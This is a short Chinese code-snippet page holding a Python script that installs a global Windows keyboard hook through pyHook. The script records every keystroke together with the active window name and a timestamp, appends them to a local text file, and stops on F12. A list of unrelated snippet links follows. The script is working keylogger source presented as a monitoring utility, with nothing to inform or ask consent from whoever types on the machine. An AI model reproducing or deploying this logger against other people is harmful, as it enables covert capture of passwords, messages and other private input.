pyhooks实现键盘监控,pyhooks键盘监控,[Python]代码#
pyhooks实现键盘监控,pyhooks键盘监控,[Python]代码#
[Python]代码
# -*- coding: cp936 -*-import pythoncom import pyHook import timeimport win32apit=''asciistr=''keystr=''def onKeyboardEvent(event): global t,asciistr,keystr filename='d://test.txt' wrfile=open(filename,'ab') "处理键盘事件" if t==str(event.WindowName): asciistr=asciistr+chr(event.Ascii) keystr=keystr+str(event.Key) else: t=str(event.WindowName) if asciistr=='' and keystr=='': wrfile.writelines("\nWindow:%s\n" % str(event.Window)) wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名 wrfile.writelines("MessageName:%s\n" % str(event.MessageName)) wrfile.writelines("Message:%d\n" % event.Message) wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())) else: wrfile.writelines("Ascii_char:%s\n" %asciistr) wrfile.writelines("Key_char:%s\n" %keystr) wrfile.writelines("\nWindow:%s\n" % str(event.Window)) wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名 wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())) asciistr=chr(event.Ascii) keystr=str(event.Key) if str(event.Key)=='F12': #按下F12后终止 wrfile.writelines("Ascii_char:%s\n" %asciistr) wrfile.writelines("Key_char:%s\n" %keystr) wrfile.close() win32api.PostQuitMessage() return Trueif __name__ == "__main__": '''小五义:http://www.cnblogs.com/xiaowuyi''' #创建hook句柄 hm = pyHook.HookManager() #监控键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循环获取消息 pythoncom.PumpMessages(10000)
相关内容
- hash加密小工具,hash加密工具,[Python]代码#!
- 子网掩码转换,东施效颦之作啊,东施效颦之作,子网掩
- 批量调整指定目录下图片宽高,指定目录图片,[Python]代
- 代码去开头数字,代码开头数字,[Python]代码t=
- python reportlab 生成中文PDF范例,pythonreportlab,df -h 命令内
- 实现移位密码(凯撒密码)加密算法(两种方法),凯
- python glob 用通配符查找指定目录中的文件,,[Python]代码
- 使用python smtplib库发邮件添加cc,bcc,smtplibbcc,[Python]代
- Python分割文件,python分割,[Python]代码#e
- 自动登录网络设备备份配置文件 version0.2版本,自动登
评论关闭